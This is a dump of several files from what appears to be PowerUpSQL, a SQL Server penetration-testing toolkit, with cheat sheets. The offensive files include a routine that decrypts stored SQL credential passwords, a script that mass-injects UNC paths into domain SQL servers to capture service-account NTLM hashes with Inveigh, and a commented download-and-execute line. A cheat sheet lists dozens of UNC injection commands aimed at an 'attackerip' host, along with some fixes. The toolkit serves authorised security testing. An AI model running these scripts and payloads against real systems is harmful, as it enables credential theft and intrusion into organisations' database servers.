103 | $Dt = New-Object "System.Data.DataTable"
104 | $Dt.Load($Data)
105 |
106 | # Go through each row in results
107 | foreach ($Logins in $Dt) {
108 |
109 | # decrypt the password using the service master key and the extracted IV
110 | $Decryptor.Padding = "None"
111 | $Decrypt = $Decryptor.CreateDecryptor($ServiceKey,$Logins.iv)
112 | $Stream = New-Object System.IO.MemoryStream (,$Logins.pass)
113 | $Crypto = New-Object System.Security.Cryptography.CryptoStream $Stream,$Decrypt,"Write"
114 |
115 | $Crypto.Write($Logins.pass,0,$Logins.pass.Length)
116 | [byte[]]$Decrypted = $Stream.ToArray()
117 |
118 | # convert decrypted password to unicode
119 | $EncodingType = "System.Text.UnicodeEncoding"
120 | $Encode = New-Object $EncodingType
121 |
122 | # Print results - removing the weird padding (8 bytes in the front, some bytes at the end)...
123 | # Might cause problems but so far seems to work.. may be dependant on SQL server version...
124 | # If problems arise remove the next three lines..
125 | $i=8
126 | foreach ($b in $Decrypted) {if ($Decrypted[$i] -ne 0 -and $Decrypted[$i+1] -ne 0 -or $i -eq $Decrypted.Length) {$i -= 1; break;}; $i += 1;}
127 | $Decrypted = $Decrypted[8..$i]
128 | $Results.Rows.Add($InstanceName,$($Logins.name),$($Logins.credential_identity),$($Encode.GetString($Decrypted))) | Out-Null
129 | }
130 | } else {
131 | Write-Error "Unknown key size"
132 | }
133 | $Conn.Close();
134 | }
135 | }
136 | $Results
137 | }
138 |
--------------------------------------------------------------------------------
/scripts/pending/Get-SQLCompactQuery.ps1:
--------------------------------------------------------------------------------
1 | # Script: Get-SQLCompactQuery
2 | # Pseudo Author: Scott Sutherland (@_nullbind), NetSPI 2016
3 | # This script is a slightly modified version of Jeremiah Clark's example code from the reference below.
4 | # Reference: https://blogs.msdn.microsoft.com/miah/2011/08/08/powershell-and-sql-server-compact-4-0-a-happy-mix/
5 | # Reference: https://technet.microsoft.com/en-us/library/gg592946(v=sql.110).aspx
6 | # Example: .\Get-SQLCompactQuery.ps1 -Query "SELECT TABLE_NAME from information_schema.tables" -DbFilePath c:\temp\file.sdf -Password SecretPassword!
7 | # Example: .\Get-SQLCompactQuery.ps1 -Query "SELECT TABLE_NAME, COLUMN_NAME from information_schema.columns" -DbFilePath c:\temp\file.sdf -Password SecretPassword!
8 |
9 | [CmdletBinding()]
10 | Param(
11 | [Parameter(Mandatory=$false)]
12 | [string]$LibFilePath,
13 |
14 | [Parameter(Mandatory=$true)]
15 | [string]$DbFilePath,
16 |
17 | [Parameter(Mandatory=$false)]
18 | [string]$Password,
19 |
20 | [Parameter(Mandatory=$false)]
21 | [string]$Query = "SELECT TABLE_NAME, COLUMN_NAME from information_schema.columns"
22 | )
23 |
24 | # Define lib path
25 | if (-not $libpath){
26 | $libpath = "C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v4.0\Desktop\System.Data.SqlServerCe.dll"
27 | }
28 |
29 | # Import required library
30 | [Reflection.Assembly]::LoadFile("$libpath") | Out-Null
31 |
32 | # Setup up password if provided
33 | if($Password){
34 | $DbPass = ";Password=`"$Password`""
35 | }else{
36 | $DbPass = ""
37 | }
38 |
39 | # Setup connection string
40 | $connString = "Data Source=`"$DbFilePath`"$DbPass"
41 | $cn = new-object "System.Data.SqlServerCe.SqlCeConnection" $connString
42 |
43 | # Create the command
44 | $cmd = new-object "System.Data.SqlServerCe.SqlCeCommand"
45 | $cmd.CommandType = [System.Data.CommandType]"Text"
46 | $cmd.CommandText = "$Query"
47 | $cmd.Connection = $cn
48 |
49 | # Create data table to store results
50 | $dt = new-object System.Data.DataTable
51 |
52 | # Open connection
53 | $cn.Open()
54 |
55 | # Run query
56 | $rdr = $cmd.ExecuteReader()
57 |
58 | # Populate data table
59 | $dt.Load($rdr)
60 | $cn.Close()
61 |
62 | # Return data
63 | $dt | Out-Default | Format-Table
64 |
--------------------------------------------------------------------------------
/scripts/pending/Get-SQLServiceAccountPwHashes.ps1:
--------------------------------------------------------------------------------
1 | # author: scott sutherland (@_nullbind), NetSPI 2016
2 | # script name: Get-SQLServiceAccountPwHash.ps1
3 | # requirements: PowerUpSQL and Inveigh
4 | # description: locate domain sql servers, attempt login, unc path inject to capture password hash of associated service account.
5 | # example: Get-SQLServiceAccountPwHashes -Verbose -CaptureIp 10.1.1.12
6 | # Note: alt domain user: runas /noprofile /netonly /user:domain\users powershell.exe
7 |
8 | Function Get-SQLServiceAccountPwHashes {
9 |
10 | [CmdletBinding()]
11 | Param(
12 | [Parameter(Mandatory=$false)]
13 | [string]$Username,
14 |
15 | [Parameter(Mandatory=$false)]
16 | [string]$Password,
17 |
18 | [Parameter(Mandatory=$false)]
19 | [string]$DomainController,
20 |
21 | [Parameter(Mandatory=$true)]
22 | [string]$CaptureIp,
23 |
24 | [Parameter(Mandatory=$false)]
25 | [int]$TimeOut = 5
26 | )
27 |
28 | Begin
29 | {
30 | # Attempt to load Inveigh via reflection - naturally this bombs if there is no outbound internet - just load it manually for the demo
31 | # Invoke-Expression -Command (New-Object -TypeName system.net.webclient).downloadstring('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Scripts/Inveigh.ps1')
32 |
33 | $TestIt = Test-Path -Path Function:\Invoke-Inveigh
34 | if($TestIt -eq 'True')
35 | {
36 | Write-Verbose -Message "Inveigh loaded."
37 | }else{
38 | Write-Verbose -Message "Inveigh NOT loaded."
39 | return
40 | }
41 | }
42 |
43 | Process
44 | {
45 | # Discover SQL Servers on the Domain via LDAP queries for SPN records
46 | Write-Verbose "Testings access to domain sql servers..."
47 | $SQLServerInstances = Get-SQLInstanceDomain -verbose -CheckMgmt -DomainController $DomainController -Username $Username -Password $Password | Get-SQLConnectionTestThreaded -Verbose -Threads 15
48 | $SQLServerInstancesCount = $SQLServerInstances.count
49 | Write-output "$SQLServerInstancesCount SQL Server instances found"
50 |
51 | # Get list of SQL Servers that the provided account can log into
52 | $AccessibleSQLServers = $SQLServerInstances | ? {$_.status -eq "Accessible"}
53 | $AccessibleSQLServersCount = $AccessibleSQLServers.count
54 |
55 | # Status user
56 | Write-output "$AccessibleSQLServersCount SQL Server instances can be logged into"
57 | Write-output "Attacking $AccessibleSQLServersCount accessible SQL Server instances..."
58 |
59 | # Start sniffing
60 | Invoke-Inveigh -NBNS Y -MachineAccounts Y -WarningAction SilentlyContinue | Out-Null
61 |
62 | # Perform unc path injection on each one
63 | $AccessibleSQLServers |
64 | ForEach-Object{
65 |
66 | # Get current instance
67 | $CurrentInstance = $_.Instance
68 |
69 | # Start unc path injection for each interface
70 | Write-Output "$CurrentInstance - Injecting UNC path to \\$CaptureIp\file"
71 |
72 | # Functions executable by the Public role that accept UNC paths
73 | Get-SQLQuery -Instance $CurrentInstance -Query "xp_dirtree '\\$CaptureIp\file'" -SuppressVerbose | out-null
74 | Get-SQLQuery -Instance $CurrentInstance -Query "xp_fileexist '\\$CaptureIp\file'" -SuppressVerbose | out-null
75 |
76 | # Sleep to give the SQL Server time to send us hashes :)
77 | sleep $TimeOut
78 |
79 | # Get hashes
80 | Write-Verbose "Captured password hashes:"
81 | Get-InveighCleartext | Sort-Object
82 | Get-InveighNTLMv1 | Sort-Object
83 | Get-InveighNTLMv2 | Sort-Object
84 | }
85 | }
86 |
87 | End
88 | {
89 | # Return results
90 | Write-Output "---------------------------------------"
91 | Write-Output "Final List of Captured password hashes:"
92 | Write-Output "---------------------------------------"
93 | Get-InveighCleartext | Sort-Object
94 | Get-InveighNTLMv1 | Sort-Object
95 | Get-InveighNTLMv2 | Sort-Object
96 |
97 | # Stop sniffing
98 | Stop-Inveigh | Out-Null
99 |
100 | # Clear cache
101 | Clear-Inveigh | Out-Null
102 | }
103 | }
104 |
105 |
--------------------------------------------------------------------------------
/scripts/pending/LinkConvertExample.ps1:
--------------------------------------------------------------------------------
1 | $output = Get-SQLServerLinkCrawl -Verbose -Username sa -Password 'SuperSecretPassword!' -Instance 'MSSQLSRV04.demo.local\SQLSERVER2014'
2 | $CsvResults = $output |
3 | foreach {
4 | [string]$StringLinkPath = ""
5 | $Path = $_.path
6 | $PathCount = $Path.count - 1
7 | $LinkSrc = $Path[$PathCount - 1]
8 | $LinkDes = $Path[$PathCount]
9 | $LinkUser = $_.user
10 | $LinkDesSysadmin = $_.Sysadmin
11 | $Instance = $_.instance
12 | $LinkDesVersion = $_.Version
13 | $Path |
14 | foreach {
15 | if ( $StringLinkPath -eq ""){
16 | [string]$StringLinkPath = "$_"
17 | }else{
18 | [string]$StringLinkPath = "$StringLinkPath -> $_"
19 | }
20 | }
21 | $Object = New-Object PSObject
22 | $Object | add-member Noteproperty LinkSrc $LinkSrc
23 | $Object | add-member Noteproperty LinkName $LinkDes
24 | $Object | add-member Noteproperty LinkInstance $Instance
25 | $Object | add-member Noteproperty LinkUser $LinkUser
26 | $Object | add-member Noteproperty LinkSysadmin $LinkDesSysadmin
27 | $Object | add-member Noteproperty LinkVersion $LinkDesVersion
28 | $Object | add-member Noteproperty LinkHops $PathCount
29 | $Object | add-member Noteproperty LinkPath $StringLinkPath
30 | $Object
31 | }
32 | $CsvResults | export-csv -NoTypeInformation SQL-Server-Links.csv
33 |
--------------------------------------------------------------------------------
/scripts/pending/README.md:
--------------------------------------------------------------------------------
1 | ### Stand Alone Scripts
2 | These are scripts that will eventually be turned into PowerUpSQL functions.
3 |
4 | Author: Scott Sutherland
5 | Get-SQLCompactQuery.ps1
6 |
7 | Author: Scott Sutherland
8 | Get-SQLServiceAccountPwHashes.ps1
9 |
10 | Author: Scott Sutherland
11 | Invoke-SqlServer-Persist-StartupSp.psm1
12 |
13 | Author: Scott Sutherland
14 | Invoke-SqlServer-Persist-TriggerLogon.psm1
15 |
16 | Author: Antti Rantasaari
17 | Get-MSSQLCredentialPasswords.psm1
18 |
19 | Author: Scott Sutherland
20 | Invoke-HuntSQLServers.ps1
21 |
22 | Author: Scott Sutherland
23 | SQLC2.ps1
24 |
--------------------------------------------------------------------------------
/templates/CheatSheet_ConnectionStrings.txt:
--------------------------------------------------------------------------------
1 | Below is a cheatsheet for creating SQL Server client connection strings and finding them in common configuration files.
2 |
3 | ------------------------------------------------------------------
4 | CREATING CONNECTION STRINGS
5 | ------------------------------------------------------------------
6 |
7 | ----------------------
8 | Authentication Options
9 | ----------------------
10 |
11 | Current Windows Account
12 | Server=Server\Instance;Database=Master;Integrated Security=SSPI;Connection Timeout=1"
13 |
14 | Provided Windows Account
15 | Server=Server\Instance;Database=Master;Integrated Security=SSPI;Connection Timeout=1;uid=Domain\Account;pwd=Password;"
16 |
17 | Provided SQL Login
18 | Server=Server\Instance;Database=Master;Connection Timeout=1;User ID=Username;Password=Password;"
19 |
20 |
21 | -----------------------
22 | Connection Type Options
23 | -----------------------
24 |
25 | TCP/IP
26 | Server=TCP:Server\Instance;Database=Master;Integrated Security=SSPI;Connection Timeout=1"
27 |
28 | Named Pipes
29 | Connecting to instances by name, forcing a named pipes connection.
30 | Server=np:Server;Database=Master;Integrated Security=SSPI;Connection Timeout=1"
31 | Server=np:Server\Instance;Database=Master;Integrated Security=SSPI;Connection Timeout=1"
32 | Default instance: Server=\\APPHOST\pipe\unit\app;Database=Master;Integrated Security=SSPI;Connection Timeout=1"
33 | Named instance: Server=\\APPHOST\pipe\MSSQL$SQLEXPRESS\SQL\query;Database=Master;Integrated Security=SSPI;Connection Timeout=1"
34 |
35 | VIA
36 | Server=via:Server\Instance;Database=Master;Integrated Security=SSPI;Connection Timeout=1"
37 |
38 | Shared Memory
39 | Server=lpc:Servername\Instance;Database=Master;Integrated Security=SSPI;Connection Timeout=1"
40 | Server=(local);Database=Master;Integrated Security=SSPI;Connection Timeout=1"
41 | Server=(.);Database=Master;Integrated Security=SSPI;Connection Timeout=1"
42 |
43 | Dedicated Admin Connection
44 | Server=DAC:Server\Instance;Database=Master;Integrated Security=SSPI;Connection Timeout=1"
45 |
46 |
47 | -----------------------
48 | Other Options
49 | -----------------------
50 |
51 | Spoof Application Client
52 | Data Source=(local);Initial Catalog=AdventureWorks;Integrated Security=True;Application Name="My Application"
53 | Data Source=(local);Initial Catalog=AdventureWorks;Integrated Security=True;ApplicationName=".Net SqlClient Data Provider"
54 | determine app name in sql server: select APP_NAME()
55 |
56 | Set Encryption
57 | Driver='ODBC Driver 11 for SQL Server';Server=ServerNameHere;Encrypt=YES;TrustServerCertificate=YES
58 | Data Source=(local);Initial Catalog=AdventureWorks;Integrated Security=True;Application Name="My Application";Encrypt=Yes
59 |
60 | Encrypt Flag Notes:
61 | Data sent between client and server is encrypted using SSL. The name (or IP address) in a Subject Common Name (CN) or
62 | Subject Alternative Name (SAN) in a SQL Server SSL certificate should exactly match the server name (or IP address)
63 | specified in the connection string.
64 |
65 | Set Packet Size
66 | https://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlconnection.packetsize(v=vs.110).aspx
67 | Note: This could potentially be used to obfuscate malicious payloads from network IDS going over unencrypted connections.
68 | "Data Source=(local);Initial Catalog=AdventureWorks;Integrated Security=SSPI;Packet Size=512"
69 |
70 | -----------------------
71 | Online References
72 | -----------------------
73 |
74 | https://msdn.microsoft.com/en-us/library/ms130822.aspx
75 | https://msdn.microsoft.com/en-us/library/ms188642.aspx
76 | https://technet.microsoft.com/en-us/library/ms191260(v=sql.105).aspx
77 | https://technet.microsoft.com/en-us/library/ms187662(v=sql.105).aspx
78 | https://technet.microsoft.com/en-us/library/ms189307(v=sql.105).aspx
79 | https://technet.microsoft.com/en-us/library/ms178068(v=sql.105).aspx
80 | https://technet.microsoft.com/en-us/library/ms189595(v=sql.105).aspx
81 | https://msdn.microsoft.com/en-us/library/ms254500(v=vs.110).aspx
82 | https://msdn.microsoft.com/en-us/library/hh568455(v=sql.110).aspx
83 | https://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlconnectionstringbuilder(v=vs.110).aspx
84 | https://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlconnectionstringbuilder.applicationname(v=vs.110).aspx
85 | https://www.connectionstrings.com/sql-server/
86 |
87 |
88 | ------------------------------------------------------------------
89 | FINDING CONNECTION STRINGS
90 | ------------------------------------------------------------------
91 |
92 | -----------------------
93 | ODBC/DNS Notes
94 | -----------------------
95 | https://technet.microsoft.com/en-us/library/hh771015.aspx
96 | https://technet.microsoft.com/en-us/library/hh771014.aspx
97 |
98 | Get all install ODBC drivers
99 | Get-OdbcDriver
100 |
101 | Get all install ODBC drivers for SQL Server that are 64 bit
102 | Get-OdbcDriver -Name "SQL Server*" -Platform "64-bit"
103 |
104 | Get all ODBC User DSNs for specified driver
105 | $DsnArray = Get-OdbcDsn -DriverName "SQL Server*"
106 |
107 | Get ODBC System DSNs by name
108 | Get-OdbcDsn -Name "MyPayroll" -DsnType "System" -Platform "32-bit"
109 |
110 | Get ODBC DSNs with names that contain a string
111 | Get-OdbcDsn -Name "*Payroll*"
112 |
113 |
114 | -------------------------------
115 | Universal Data Link (UDL) Files
116 | -------------------------------
117 | https://msdn.microsoft.com/en-us/library/e38h511e(v=vs.71).aspx
118 |
119 | .UDL files often contain connection strings in a format similar to:
120 |
121 | [oledb]
122 | ; Everything after this line is an OLE DB initstring
123 | Provider=SQLOLEDB.1;Persist Security Info=False;Data Source=servername;Initial Catalog=Northwind;Integrated Security=SSPI
124 |
125 | Finding UDL files
126 | c:
127 | cd \
128 | dir /s /b *.udl
129 | Get-ChildItem -Path C:\ -Filter *.udl -Recurse | select fullname
130 |
131 |
132 | ------------------------------
133 | ApplicationHost.config Files
134 | ------------------------------
135 | https://blog.netspi.com/decrypting-iis-passwords-to-break-out-of-the-dmz-part-2/
136 |
137 | Decrypt Entire Config File
138 | --
139 | 1. List application pools.
140 |
141 | appcmd list apppools
142 | appcmd list apppools /text:MyTestPool
143 |
144 | 2. Get clearext configuration file for specific pool.
145 |
146 | appcmd list apppool "MyTestPool" /text:*
147 |
148 | Decrypt Virtual Directory and Application Credentials in Config File
149 | --
150 | 1. List virtual directories.
151 |
152 | appcmd list vdir
153 |
154 | 2. List configuration content.
155 |
156 | appcmd list vdir "Bike Shop/" /text:*
157 |
158 | ------------------------------
159 | Web.config Files
160 | ------------------------------
161 | https://blog.netspi.com/decrypting-iis-passwords-to-break-out-of-the-dmz-part-1/#2
162 |
163 | Finding web.config files
164 | --
165 | c:
166 | cd \
167 | dir /s /b web.config
168 | Get-ChildItem -Path C:\ -Filter web.config -Recurse | select fullname
169 |
170 | Finding registered web.config files via appcmd.exe
171 | --
172 | Common Paths:
173 | C:\Program Files\IIS Express\appcmd.exe
174 | C:\Program Files (x86)\IIS Express\appcmd.exe
175 | %windir%\system32\inetsrv\appcmd
176 |
177 | Common Commands:
178 | %windir%\system32\inetsrv\appcmd list vdir
179 | dir /s /b v | find /I "web.config"
180 |
181 | Decrypted Web.config with aspnet_regiis.exe
182 | --
183 | C:\Windows\Microsoft\.NETFrameworkv\2.0.50727\aspnet_regiis.exe -pdf "connectionStrings" c:\MyTestSite
184 |
185 |
--------------------------------------------------------------------------------
/templates/CheatSheet_SMO_Commands.ps1:
--------------------------------------------------------------------------------
1 | # Script Name:
2 | # SQL Server SMO Cheatsheet (0.CheatSheet-SqlServerSmo.ps1)
3 | # Author:
4 | # Scott Sutherland (@_nullbind), 2015 NetSPI
5 | # Description:
6 | # This file contains basic examples that show how to query SQL Server
7 | # for configuration information using the SQL Server SDK SMO APIs.
8 | # Requirements:
9 | # The examples in this cheatsheet require two SMO libraries that get installed with SQL Server.
10 | # The file names have been listed below:
11 | # - Microsoft.SqlServer.Smo.dll
12 | # - Microsoft.SqlServer.SmoExtended.dll
13 | # References:
14 | # https://msdn.microsoft.com/en-us/library/microsoft.sqlserver.management.smo.server.aspx
15 |
16 | # Import SMO Libs - required for all examples below
17 | [System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.Smo") | Out-Null
18 | [System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SmoExtended")| Out-Null
19 |
20 | # Authenticate - Integrated Windows Auth - works
21 | $srv = new-object ('Microsoft.SqlServer.Management.Smo.Server') "server\instance"
22 |
23 | # Get instance option
24 | [System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources()
25 |
26 | # Authenticate - SQL Server authentication - mixed mode - works
27 | $srv = new-object ('Microsoft.SqlServer.Management.Smo.Server') "10.1.1.1"
28 | $srv.ConnectionContext.LoginSecure=$false;
29 | $srv.ConnectionContext.set_Login("user");
30 | $srv.ConnectionContext.set_Password("password")
31 | $srv.Information
32 |
33 | # Get version / server information
34 | $srv.Information
35 | $srv.Name
36 | $srv.NetName
37 | $srv.ComputerNamePhysicalNetBIOS
38 | $srv.Version
39 | $srv.VersionMajor
40 | $srv.VersionMinor
41 | $srv.Edition
42 | $srv.EngineEdition
43 | $srv.OSVersion
44 | $srv.DomainInstanceName
45 | $srv.DomainName
46 | $srv.SqlDomainGroup
47 |
48 | # Get service informaiton
49 | $srv.ServiceName
50 | $srv.ServiceAccount
51 | $srv.ServiceStartMode
52 | $srv.BrowserServiceAccount
53 |
54 | # Get state information
55 | $srv.State
56 | $srv.Status
57 |
58 | # Get listener information
59 | $srv.NamedPipesEnabled
60 | $srv.TcpEnabled
61 |
62 | # Get directory path information
63 | $srv.RootDirectory
64 | $srv.InstallDataDirectory
65 | $srv.InstallSharedDirectory
66 | $srv.ErrorLogPath
67 | $srv.MasterDBLogPath
68 | $srv.MasterDBPath
69 | $srv.BackupDirectory
70 |
71 | # Logins, roles, and privilege information
72 | $srv.ConnectionContext
73 | $srv.LoginMode
74 | $srv.Logins
75 | $srv.Roles
76 | $srv.EnumServerPermissions()
77 |
78 | # Window accounts / groups assigned logins in SQL Server
79 | $srv.EnumWindowsUserInfo()
80 | $srv.EnumWindowsUserInfo() | select "account name"
81 | $srv.EnumWindowsDomainGroups()
82 | $srv.EnumWindowsGroupInfo("Domain Admins")
83 |
84 | # Credentials / proxy_account
85 | $srv.Credentials
86 | $srv.ProxyAccount
87 |
88 | # Databse information
89 | $srv.Databases
90 |
91 | # cluster / mirror information
92 | $srv.IsClustered
93 | $srv.ClusterName
94 | $srv.EnumClusterMembersState
95 | $srv.EnumClusterSubnets
96 | $srv.EnumDatabaseMirrorWitnessRoles()
97 |
98 | # SQL Server settings
99 | $srv.Configuration
100 | $srv.Settings
101 | $srv.Properties
102 | $srv.Mail
103 | $srv.MailProfile
104 | $srv.Triggers
105 | $srv.AuditLevel
106 | $srv.Audits
107 | $srv.LinkedServers
108 | $srv.Endpoints
109 | $srv.JobServer
110 | $srv.EnumServerAttributes()
111 |
112 | # SQL Server enumeration
113 | # https://msdn.microsoft.com/en-us/library/ms210366.aspx
114 | $srv.PingSqlServerVersion("server\Standard")
115 | $srv.PingSqlServerVersion("1.1.1.1",'sa','password')
116 | $SQLSvr = [Microsoft.SqlServer.Management.Smo.SmoApplication]::EnumAvailableSqlServers($true); $SQLSvr | Out-GridView
117 |
118 |
--------------------------------------------------------------------------------
/templates/CheatSheet_UncPathInjection.txt:
--------------------------------------------------------------------------------
1 | This is a list of SQL Server commands that support UNC path [injections] by default.
2 | The injections can be used to capture or replay the NetNTLM password hash of the
3 | Windows account used to run the SQL Server service. The SQL Server service account
4 | has sysadmin privileges by default in all versions of SQL Server.
5 |
6 | Note: This list is most likely not complete.
7 |
8 | -----------------------------------------------------------------------
9 | -- UNC Path Injections Executable by the Public Fixed Server Role
10 | -----------------------------------------------------------------------
11 | -- Note: All are supported by SQL Server 2000 to 2016 (excluding azure)
12 |
13 | -- XP_DIRTREE Extended Stored Procedure
14 | -- Fix: "revoke execute on xp_dirtree to public"
15 |
16 | xp_dirtree '\\attackerip\file'
17 | GO
18 |
19 | -- XP_FILEEXIST Extended Stored Procedure
20 | -- Fix: "revoke execute on xp_fileexist to public"
21 |
22 | xp_fileexist '\\attackerip\file'
23 | GO
24 |
25 | -- BACKUP Command
26 | -- Note: The Public role can't actually execute the backup, but the UNC path is resolved prior to the authorization check.
27 | -- Fix: https://technet.microsoft.com/library/security/MS16-136, https://technet.microsoft.com/en-us/library/security/mt674627.aspx
28 | -- Fix note: No patch is available for SQL Server 2000 to 2008, because they are on longer supported. Upgrade if this is you.
29 |
30 | BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
31 | GO
32 |
33 | BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
34 | GO
35 |
36 | -- RESTORE Command
37 | -- Note: The Public role can't actually execute the RESTORE, but the UNC path is resolved prior to the authorization check.
38 | -- Fix: https://technet.microsoft.com/library/security/MS16-136, https://technet.microsoft.com/en-us/library/security/mt674627.aspx
39 | -- Fix note: No patch is available for SQL Server 2000 to 2008, because they are on longer supported. Upgrade if this is you.
40 |
41 | RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
42 | GO
43 |
44 | RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
45 | GO
46 |
47 | RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
48 | GO
49 |
50 | RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
51 | GO
52 |
53 | RESTORE LABELONLY FROM DISK = '\\attackerip\file'
54 | GO
55 |
56 | RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
57 | GO
58 |
59 | RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'
60 | GO
61 |
62 | ------------------------------------------------------
63 | -- Executable by the Sysadmin fixed server
64 | -- and with other non Public roles / privileges
65 | ------------------------------------------------------
66 | -- Note: Almost every function and stored procedure that supports a file path allows UNC paths by design.
67 |
68 | -- Create assembly
69 | CREATE ASSEMBLY HelloWorld FROM '\\attackerip\file' WITH PERMISSION_SET = SAFE;
70 | GO
71 |
72 | -- Add exteneded stored procedure
73 | sp_addextendedproc 'xp_hello','\\attackerip\file'
74 |
75 | -- Create Certificate
76 | CREATE CERTIFICATE testing123
77 | FROM EXECUTABLE FILE = '\\attackerip\file';
78 | GO
79 |
80 | -- Backup Certificate
81 | BACKUP CERTIFICATE test01 TO FILE = '\\attackerip\file'
82 | WITH PRIVATE KEY (decryption by password = 'superpassword',
83 | FILE = '\\attackerip\file',
84 | encryption by password = 'superpassword');
85 | go
86 |
87 | -- Backup to file - Master Key
88 | BACKUP MASTER KEY TO FILE = '\\attackerip\file'
89 | ENCRYPTION BY PASSWORD = 'password'
90 | GO
91 |
92 | -- Backup to file - Service Master Key
93 | BACKUP SERVICE MASTER KEY TO FILE = '\\attackerip\file'
94 | ENCRYPTION BY PASSWORD = 'password'
95 | go
96 |
97 | -- Restore from file - Master Key
98 | RESTORE MASTER KEY FROM FILE = '\\attackerip\file'
99 | DECRYPTION BY PASSWORD = 'password'
100 | ENCRYPTION BY PASSWORD = 'password'
101 | go
102 |
103 | -- Restore from file - Service Master Key
104 | RESTORE SERVICE MASTER KEY FROM FILE = '\\attackerip\file'
105 | DECRYPTION BY PASSWORD = 'password'
106 | go
107 |
108 | -- Read data from file - Bulk insert 1
109 | CREATE TABLE #TEXTFILE (column1 NVARCHAR(100))
110 | BULK INSERT #TEXTFILE FROM '\\attackerip\file'
111 | DROP TABLE #TEXTFILE
112 |
113 | -- Read data from file - Bulk insert 2
114 | CREATE TABLE #TEXTFILE (column1 NVARCHAR(100))
115 | BULK INSERT #TEXTFILE FROM '\\attackerip\file'
116 | WITH (FORMATFILE = '\\testing21\file')
117 | DROP TABLE #TEXTFILE
118 |
119 | -- Read data from a file - fn_xe_file_target_read_file
120 | SELECT * FROM sys.fn_xe_file_target_read_file ('\\attackerip\file','\\attackerip\file',null,null)
121 | GO
122 |
123 | -- Read data from a file - fn_get_audit_file
124 | SELECT * FROM sys.fn_get_audit_file ('\\attackerip\file','\\attackerip\file',default,default);
125 | GO
126 |
127 | -- Create Server Audit to File
128 | CREATE SERVER AUDIT TESTING TO FILE ( FILEPATH = '\\attackerip\file');
129 | GO
130 |
131 | -- Install a cryptographic provider
132 | sp_configure 'EKM provider enabled',1
133 | RECONFIGURE
134 | GO
135 | CREATE CRYPTOGRAPHIC PROVIDER SecurityProvider FROM FILE = '\\attackerip\file';
136 | GO
137 |
138 | -- External file format - Azure only
139 | CREATE EXTERNAL FILE FORMAT myfileformat WITH (FORMATFILE = '\\testing21\file');
140 | GO
141 |
142 | -- xp_subdirs
143 | xp_subdirs '\\attackerip\file'
144 |
145 | -- xp_cmdshell
146 | xp_cmdshell 'dir \\attackerip\file'
147 |
148 |
149 | -- OpenRowSet
150 | General Notes:
151 | - 2k5 and up
152 | - You must be a sysadmin. Running the TSQL below with can be used to capture the SQL Server service account password hash.
153 | - This can also be used to transparently execute commands on remote SQL Servers; IF the servers share a service account and you are running as a sysadmin. This is just exploiting shared service accounts in a new way.
154 |
155 | EXEC sp_configure 'show advanced options', 1
156 | RECONFIGURE
157 | GO
158 | EXEC sp_configure 'ad hoc distributed queries', 1
159 | RECONFIGURE
160 | GO
161 |
162 | -- passthrough sql service auth if your a sysadmin
163 | DECLARE @sql NVARCHAR(MAX)
164 | set @sql = 'select a.* from openrowset(''SQLNCLI'', ''Server=evilserver;Trusted_Connection=yes;'', ''select * from master.dbo.sysdatabases'') as a'
165 | select @sql
166 | EXEC sp_executeSQL @sql
167 |
168 | --Excel 2007-2010 (unc injection)
169 | -- requires ad-hoc queries to be enabled, but then it can be run by any login
170 | SELECT * --INTO #productlist
171 | FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0',
172 | 'Excel 12.0 Xml;HDR=YES;Database=\\server\temp\Products.xlsx',
173 | 'SELECT * FROM [ProductList$]');
174 |
175 | --Excel 97-2003(unc injection)
176 | -- requires ad-hoc queries to be enabled, but then it can be run by any login
177 | SELECT * --INTO #productlist
178 | FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0',
179 | 'Excel 8.0;HDR=YES;Database=\\server\temp\Products.xls',
180 | 'select * from [ProductList$]');
181 |
182 | Source: https://www.experts-exchange.com/articles/3025/Retrieving-Data-From-Excel-Using-OPENROWSET.html
183 |
184 | --old Excel with new ACE driver - working query 1 (unc injection)
185 | SELECT * --INTO #productlist
186 | FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0',
187 | 'Excel 8.0;HDR=YES;Database=\\server\temp\Products.xls',
188 | 'SELECT * FROM [ProductList$]');
189 |
190 | --old Excel with new ACE driver - working query 2 (unc injection)
191 | SELECT * --INTO #productlist
192 | FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0',
193 | 'Excel 12.0;HDR=YES;Database=\\server\temp\Products.xls',
194 | 'SELECT * FROM [ProductList$]');
195 |
196 | --(unc injection)
197 | SELECT * --INTO #productlist
198 | FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0',
199 | 'Excel 12.0 Xml;HDR=YES;Database=\\server\temp\Products.xlsx',
200 | 'SELECT * FROM [ProductList$]');
201 |
202 | -- requires sysadmin or db_owner role
203 | SELECT * FROM fn_dump_dblog(NULL,NULL,'DISK',1
204 | ,'\\attackerip\fakefile.bak'
205 | ,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
206 | ,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL
207 | ,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL
208 | ,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL
209 | ,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL
210 | ,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL
211 | ,NULL,NULL,NULL,NULL)
212 |
213 | --OpenDataSource
214 | -- works on everything since 2k8, requires ad-hoc queries to be enabled, but then it can be run by any login
215 | - Ref: https://msdn.microsoft.com/en-us/library/ms179856.aspx
